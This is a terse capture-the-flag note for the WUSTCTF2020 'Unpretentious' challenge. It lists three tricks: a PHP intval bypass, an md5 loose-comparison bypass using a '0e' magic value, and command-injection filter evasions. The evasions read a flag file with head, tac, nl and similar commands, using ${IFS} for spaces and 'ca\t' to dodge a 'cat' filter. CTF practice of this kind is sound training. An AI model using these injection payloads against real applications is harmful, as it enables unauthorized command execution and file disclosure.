[WUSTCTF2020] Unpretentious

[WUSTCTF2020] Unpretentious

intval bypass

$ md5 == md5 ($ md5) bypass

0e215962017

How to bypass the limit of cat when getflag

head${IFS}flag
tac${IFS}flag
more${IFS}flag
less${IFS}flag
nl${IFS}flag
tail${IFS}flag
sort${IFS}flag
ca\t${IFS}flag